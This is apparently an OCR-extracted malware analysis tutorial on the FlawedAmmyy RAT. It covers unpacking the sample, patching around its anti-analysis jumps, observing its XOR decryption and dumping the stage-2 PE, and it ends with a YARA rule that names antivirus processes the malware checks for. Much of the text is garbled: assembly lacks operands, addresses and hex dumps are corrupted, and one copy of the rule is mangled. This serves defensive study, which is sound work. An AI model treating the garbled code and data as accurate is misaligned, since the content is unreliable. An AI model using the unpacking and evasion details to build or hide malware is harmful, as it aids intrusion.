Rename the crash so we can take note about it after this.

t aEkrnExe
enum_here

loc_462948: ; uExitCode
push
call
start

loc_482858: ; bImmediate

Let’s bypass the crasher call.



Now our pointeris at push 1

loc_402948: ; uExitCode
push

call

start

loc_402850: ; bImmediate
push

push ; dwEraseType
push ; hDevice
call

test

jnz

KillOnExit

hLibModule

t loc_402879

Let’s highlight the crasher call code block to not go there.

call XX_process_enum_here
add
test

1y 2

loc_402948: ; uExitCode
push
call d
start

L ]

® s =

loc_4082850: ; bImmediate
push

push ; dwEraseType
push ; hDevice
call

test

jnz

KillOnExit




When we jump over, by understanding the WINAPI, there's also some problematical block code
that we just bypass, which is not suitable to jump there.

L —— VL

loc_402948: ; uExitCode
push

start end

sub_4025A0

; bImmediate

; dwEraseType
; hDevice

loc_402863

loc_4828BC: ; ColorUse
push

push ; lpbmi
push ; lpBits
push ; clines
push ; start
push ; hbm

push ; hdc
call s

cmp dword_404054,
jbe short loc_40

& = L



XX_import_functions_here proc near

Let’s bypass all the problematic block code to here.

vy

loc_4982898:

call

test ,

jz ~ 4028BC

; ColorUse

1pbmi
; lpBits
; cLines
; start
; hbm
; hdc

| !W'—l

If we step over, when the call hit somewhere below, it will call the unpack resources.



If the call edi we step over, it willjump all over the start again. We are not getting fool by the
call edi again!

Let’s bypass this!

Something might interest here.

cmp
jz

call
mov
imul

mov

add
imul
mov
sub
mov

xor
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call

xor

cmp dword_4e4e54
jbe

@

lea

dword_ 404020

byte_4032D0@

dword 404620

byte_4832D8

dword_4604054
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Before

Let’s try redo again same step as above and see the decryption process. Watch how “db 36h ; 6”
decrypt.

After

.
.
.
.
.
.
.
.
.
.
.
.
.

After we loop 2 time, the XOR start revealing the decryption for the .rsrc section
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mowv
imul

mov

shr
add

imul
mowv

b

inc
cmp
jb
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imul

mov

snr
add
imul
mov
sub
mo

inc

cmp
jb
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push
mov
sub
push
push
mov
push
test

mov
cmp
jnz

mov
lea
add
mov
cmp
jnz

mov
push
push
push
push
call
mov

t

mov

push
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Part 2 — Dynamic Reverse Engineering FlawedAmmy RAT

Okay cool. Now we know how the decryption method works. let’s let it all decryptin the
memory. But the problem is push edi, which will return us atthe _start

call
mov
imul
mov
sar

Mo

shr
add
imul
mov
sub
mov

xor

This line makes us trouble. Let’s just change it to NOP and patch the program.

nop
xlat
mov

imul

imul

mov

sub

mov byte 40832D0

xor

inc

cmp
jb

We reached call “XX_call_after_blob_decrption”. We expect all the above XOR decrypted.
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Let’s look inside the program memory for verification. The only protection we found interesting.

Base address Type Size Protection  Use Total WS
010000 Mapped 64 kB RW Heap (10 2) 4 kB
0x20000 Mapped 32kB R gk
Q40000 Mapped 104 kB R Q5 kB
OxA0000 Private 256 kB RW Stack (thread 3960) 20 kB
Oxa0000 Private 1,024 kB R Stack 32-bit (thread 39607 16 kB
x1a0000 Mapped 16kE R kB
O 1b0000 Mapped 4kBE R 4 kB
Ox1c0000 Private Bk R g kB

“ Ox1d0000 Private 128 kB R 128 kB

0x1d0000 Private: Commit 128 kB RWX 128 kB
0%200000 Private 2,048 kB RWY FEB 44 kB
Ox400000 Image 168 kB WWC3 CYUsersiEUser\Desktophspacel.ex 152 kB
Dx450000 Private 1,024 kB R Heap 32-hit (1D 13 116 kB
0%S50000 Private 256 kB RWY Stack (thread 3544) 12 kB
0%530000 Private 64 kB RW Heap (1D 1) 23 kb
0x5b0000 Mapped 78 kE R CiWindows\System32iocale.nls 72 kB
OxA20000 Private 1,024 kB R Stack 32-bit (thread 35447 g kB
0x780000 Private 256 kB RWY Stack (tread 1044) 12 kB
Ox7c0000 Private 1,024 kB R Stack 32-bit (thread 1044} gk
OxEc0000 Mapped 2,048kB R 4 kB
Oxac0000 Mapped 1,540kE R B kB
OxcS0000 Mapped 20,484 kB R 4 kB
0x20c0000 Private B4 kB Ry Heap 32-hit (1D 2) 12 kB
0x20d0000 Private 1,024 kB RW He:ap segment (1D 1) 196 kB

Base address Type 00000000 fl4 Sa 90 00 03 00 00 OO0 04 00 00 00 £f ££f 00 00 MZ. .. eeennnn..
0x10000 Mapped 00000010 b8 00 00 00 00 00 0D 00 40 DO 00 0D 00 00 00 00 ........ B,

i 00000020 00 00 00 00 00 OO0 00 00 00 00 00 00 00 00 00 00 «veenrenenenn..

%20000 Mapped nogppoz0 00 00 00 OO0 00 00 00 00 00 00 00 00 £0 00 00 00 .vevnreennennn.
(40000 Mapped 0oOoO0D40 De 1f ba Oe 00 b4 09 od 21 b3 01 4c od 21 54 68 ........!..L.!Th
C6B0000 Private | 00000050 &% 73 20 70 72 &f &7 72 61 éd 20 &3 61 ée 6e 6f is program canno
Oxa0000 Private | 00000060 74 20 62 65 20 72 73 ée 20 69 Ge 20 44 4f 53 20 +t he run in DOS
Dx1a0000 Mapped 00000070 6d 6f 64 65 Ze Od Od Oa 24 00 00 00 00 00 00 00 mode....5......
Gx1b0000 Mappeg 00000080 8a 53 21 81 ce 38 4f d2 ce 38 4f d2 ce 38 4f d2 .¥!..80..80..80
PR 00O00090 3f fe 82 d2 de 38 4f 42 3f fe 81 dZ a5 38 4f dZ ?....80.7....80.

x1c0000 Prvat® | 0opoo0a0 <7 40 ce d2 of 38 4f d2 3f fe 80 d2 el 38 4f d2 .@...80.72....80.

v Ox1d000o0 Private | 0o0000LO <7 40 de d2 <l 38 4f d2 ce 38 4e d2 50 38 4f dZ .@...80..8N.FP20.

Dx1d0000 Private:] 000000c0 ed d7 80 d2 <9 38 4f d2 a8 dé 86 d2 of 38 4f d2 ..... BO. ... 80.
0200000 Private | 000000dD0 ce 38 d& dZ of 38 4f dZ a® dé 83 d2 of 38 4f d2 .8...80...... g0.
Cx400000 Image | 000000e0 52 69 63 68 ce 38 4f d2 00 00 00 00 00 00 00 00 Rich.80........
Ox4s0000 Priga | 0D0D00E0 50 45 00 00 4c 01 05 00 5 38 47 Shb 00 00 00 00 PE..L... 86[....
g ""a% | noonoi00 D0 DO DO OO0 =0 00 02 01 Ok 01 Ob 00 00 £8 00 00 «.vuvvnsrnnnn..
0x550000 Privat2 | npopop110 00 1e 01 00 OO OO0 00 OO0 40 56 00 00 00 10 00 00 ...u.... V... ..
0x5a0000 Private | 00000120 00 10 01 00 OO0 00 40 00 00 10 00 00 OO0 02 00 00 ...... [P
0xSh0000 Mapped 00000130 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 ..vuennnennnnn.
CAE000 Frivaie | 00000140 D0 40 02 00 00 04 00 00 00 00 00 00 02 00 40 81 . @..cnvenen.. .
07E0000 Private | 00000150 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 ...............

) 00000160 OO0 00 OO0 00 10 OO0 00 OO0 OO0 00 00 00 00 00 00 00 «eeueenenenn..
D7ennn0 Privat® | 05ppp170 7c 7a 01 00 aO 00 00 00 00 d0 01 00 a0 1c 00 00 [Zeennnneen. ..
0x8c0000 Mapped goooo180 00 00 00 OO0 OO OO0 OO0 00 00 00 00 00 00 00 00 00 vuvureennneenns
Oxac0000 Mapped| 00000190 00 £0 01 00 <0 13 00 00 OO0 00 OO0 00 00 00 00 00 +uvereneenennn.
Oxc50000 Mapped 000001a0 00 00 00 00 00 00 OO0 00 00 00 00 00 00 00 00 00 ...ueunnnnnnn..
Dx20c0000 Private | 000001k0 00 00 00 00 00 00 OO0 00 80 70 01 00 40 00 00 00 ......... p..@...

) 000001<0 OO0 OO0 OO0 00 OO0 OO0 OO0 00 00 10 01 00 54 02 00 00 .uuevuenn... T...
0+200B000 Prva | n001do 00 00 00 00 00 00 00 00 00 OO0 00 00 00 00 00 00 «vnennenennnn..
D0x21d0000 < MAAAnd om An AR mA AR A An An Ao - ma e mm ma mn nm Ao P

This is different kind of MZ because in space
the MZ have one .rdata, this is different MZ.

.exe file we have 2 section .rdata and this time

Priv



If we analyse “XX_call after_blob_decrption”, it create another allocated memory to put
all the PE inside it.

After we step over the call blob decryption, we got full 144kb PE file.

, dword
ort loc_4629

XX _call after
call

We Tap here to get
the binary.

New base address pop up.

Base address Type Size Frotection  Use Total WS
Ox7Fffathocz000 Irnage: Commit 22 kB R Cywindowes i Systerm32yntd LIl 2 kR
095000 Private: Commit 12 kB RMWWHG Stack (thread 5072)

03192000 Private: Commit BkE RW+G Stack 32-hit (thread S072)

0535000 Private: Commit 12 kB RMMHG Stack (thread 1920)

0573000 Private: Commit 12 kB RM+G Stack (thread 2136)

085000 Private: Commit B KB RW+G Stack 32-bit (thread 19200

0x55c000 Private: Commit BkB RWHG Stack 32-bit (thread 2136)

010000 Private: Commit 128 kB RWX 128 ke
0xSb0000 Private: Commit 144 kB RWX 144 kB
Cx<01000 Image: Commit kB RX ChUsers\EUseryDeskiopispacel.ex 2 kB
0x74da1000 Image: Commit FOO KB RX CwindowshSysWOWME4 propsys.dll 83 kB
0x74f21000 Image: Commit 172 kB RX CohindoweshSysiWOWMG4IPHLPAPT,DLL 32 kB
Ox74f51000 Image: Commit 202 kB RX Chindonesh SysW OIS winspool. dry 48 kB
74 100N Trname: Cnmmit 1A kR RY A inAnwe s\ Sest AR rrunthase.dll 12 kR

We mark this file as stage2 operation. Let’s fix the mess.

v [ stage2-spacel.ex_0x5h...

DOS Header
M@ DOS stub
v NT Headers
Signature
File Header

Cptional Header
Section Headers

v Sections

~ B text

= EP = 4740

% rdata
& data
o rsrc

s reloc

Crverlay

x 2 5 & 9 F B
-] 012 34567809 ABCDETF 0123456789A4ABCDE
4840 00 64 00 56 FF 76 14 FF 76 OC 64 00 FF 75 10 FF
4a50 76 10 FF 75 08 E6 08 2B 00 00 83 4 20 5E 5D €3
4860 55 8B EC 51 53 FC BE 45 OC 8B 48 08 33 4D OC E8
470 14 OF 00 00 6B 45 08 8B 40 04 83 EO 66 74 11 8B
480 45 0C €7 40 24 01 00 00 00 33 CO 40 EB 6C EB 64
490 64 01 8B 45 OC FF 70 18 8B 45 0C FF 70 14 8B 45
480 0C FF 70 OC 6A 00 FF 75 10 8B 45 0C FF 70 10 FF
4880 75 08 EG AB 2A 00 00 83 C4 20 85 45 0C 83 78 24
aacn 00 75 OR FF 75 0R FF 75 0C FA 18 2 00 A0 Ak 00
Disasm: .text General DOS Hdr Rich Hdr File Hdr Cptional Her Section Hdrs = Imports = Resources = BaseReloc,
+
Name Func, Count Bound? OriginalFirstThunl TimeDateStamp  Forwarder FirstThunk

Offset




Cool, we good now!

Disasm: text General DOS Hdr Rich Hdr File Hdr Cptional Hdr Section Hdrs W Imports = Resources W BaseReloc, = LoadConfig

+
Offset Mame Fune. Count Bound? OriginalFirstThunt TimeDateStamp  Forwarder MameRWA FirstThunk
17ATC KERMEL32.dll 108 FALSE 17B2C 0 0 1815E 11010
17480 USER32.dIl 18 FALSE 17008 0 0 18298 111EC
17444 ADVAPI22.dIl 3 FALSE 17B1C 0 0 18204 11000
17AB8 SHELL32.dll 2 FALSE 17CF4 0 0 1830E 11108
174ACC ole32.dll 0 FALSE 17054 0 0 18384 11238
17AED OLEAUT32.dIl 4 FALSE 17CEQ 0 0 18394 111C4
17AF4 SHLWAPLdII 1 FALSE 17000 0 0 183AC 111E4
KERNEL32.dll [ 108 entries ]
Call via Name Crdinal Original Thunk Thunk Forwarder Hint
1010 GloballUnlock - 17066 TR45SFOFD - 2C5
11014 VirtualFree - 170CH TB45FF30 - 4EC
11018 GetShortPathNames - 17004 TB4515F0 - 260
1101c OpenProcess = 17DE8 Tada1370 = 380
11020 GetCurrentProcessid - 1706 784835900 - 11
11024 ExitProcess - 17EOC Tod64F20 - 118
11028 IsThreadAFiber - 17TE1A Tad474BT0 - 306
1102C ExitThread = 17E2C TTaFA260 = 114
11020 GetlastError - 17E3A TR4SF020 - 202
11034 SetErrorMode = 17E4A Tadp0C70 = 458
11038 ReadProcessMemary - 1TESA 75475440 - 3C3
103C |sDebuggerPresent - 1TEGE TH462B80 - 300
11040 DeleteCriticalSection - 17E82 TT9EBCDO - D1
1144 laan. _ 17FOA A1 AR - 4R2

Let me save this first.

File name

ink addr

00405640 e f 00400000

00024000

Endian

Detect It EasyiD LE

mpiler i it Wisual |

linker




Entropy stage 2 binary.

Tatal
0001f600

Name

t packed
d

ot packed

20,000 40.000 60.000 80.000 100.000 120.000 140.000

1(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)

From the analysis we done, we can conclude that the first stage it will look up AV process, and
second stage inside resource it will do malware stuff with evasion techniques inside it.



Part 3 - Detecting FlawedAmmyy RAT Using YARA

al
shex at 0
)

rule FlawedAmmyy : RAT
{

meta:
Author = "VX-Cookies"
Date = "27/10/2024"
Hash = "5£251ed33fhlpeoalbadscdlbddnddic’C: \Users\IEUser\Desktop>yara FlawedAmmyy-RAT.yara spacel.exe

strings : FlawedAmmyy spacel.exe
// EEE software
srsrcl = "virtualalloc”

o C:\Users\IEUser\Desktop>_

Administrator: Command Prompt

§rsrc3 = "SizeofResource”

srsrcd = "LockResource”

srsrcd = "FindResource”

Seppnamel = "QHACTIVEDEFENSE.EXE" nocase
Seppname "OHSAFETRAY.EXE" nocase wide
Seppname3
Seppnamed
Seppnamel
Seppnamet
Seppname’
Seppnames

"OHWATCHDOG.EXE" nocase wide
"V3LITE.EXE" nocase wide
"CIS.EXE" nocase wide
"CMDAGENT.EXE" nocase wide
"VIMAIN.EXE" nocase wide
"V3SP.EXE" nocase wide
Seppnamed "SPIDERAGENT.EXE" nocase wide
Seppnamell = "DWENGINE.EXE" nocase wide
$eppnamell = "DWARKDAEMON.EXE" nocase wi

Seppnamel2 "EGUI.EXE" nocase wide
Seppnamel3 = "EKRN.EXE" nocase wide

// srat_byte = {68 94 32 40 00 63 AD 32
// senc_rsrc_blob = {2B 36 F3 75 67 73 6
// $decryption_routine = {B8 F7 12 DA 4B

condition:
filesize < 2Z00KB and is_pe and all of (51

private rule is_pe
{
strings:
$hex = {4d 5a} //MZ Header

condition:
$hex at o

}

rule FlawedAmmyy : RAT
{
meta:
Author = "VX-Cookies"
Date = "27/10/2024"
Hash = "5f251ed33fb1b6960b4d5641b44b44f67277765aa69649977a27ec79cb6153da"

strings
// EPP software
$rsrcl "VirtualAlloc"
$rsrc2 "LoadResource"
$rsrc3 "SizeofResource"
$rsrca "LockResource"
$rsrcs "FindResource"
$eppnamel "QHACTIVEDEFENSE.EXE" nocase wide
$eppname2 = "QHSAFETRAY.EXE" nocase wide
$eppname3 = "QHWATCHDOG.EXE" nocase wide
$eppname4 = "V3LITE.EXE" nocase wide
$eppname5 "CIS.EXE" nocase wide
$eppname6 "CMDAGENT.EXE" nocase wide
$eppname7 = "V3MAIN.EXE" nocase wide
$eppname8 "V3SP.EXE" nocase wide
$eppname9 = "SPIDERAGENT.EXE" nocase wide
$eppnamel® "DWENGINE.EXE" nocase wide
$eppnamell "DWARKDAEMON.EXE" nocase wide
$eppnamel2 = "EGUI.EXE" nocase wide
$eppnamel3 = "EKRN.EXE" nocase wide




// $rat_byte = {68 94 32 40 00 68 AQ 32 40 00 FF 15 EO 30 40 00}

// $enc_rsrc_blob = {2B 36 F9 75 67 73 69 66 4D 55 4A 47} //Encrypted blob
resources

// $decryption_routine = {B8 F7 12 DA 4B F7 EE 8B ©D 20 40 40 00 C1 FA 04
8B C2 C1 E8 1F ©3 C2 6B CO 36 8B D6 2B DO 8A 82 DO 32 40 00 30 04 31}

condition:
filesize < 200KB and is_pe and all of ($rsrc*) and 2 of ($eppname*)

Conclusion

FlawedAmmyy RAT is an interesting malware that is capable of operating stealthily on infected
machines and causing potentially serious damage with its remote access capabilities. It was
used in both massive campaigns such as phishing campaigns, to potentially create a large base
of compromised computers, as well as targeted campaigns that create opportunities for actors
to steal customer data, proprietary information, and gain complete access to PCs’ camera and
microphone, capture screenshots, access a variety of services and more.

Security researchers only documented this malware in 2018 despite its being around since 2016,
which means that it managed to operate in the dark for two whole years, evading researchers or
maybe even tricking them. Make sure to always use the latest pattern available to detect the old
and new variants of FlawedAmmyy malware.
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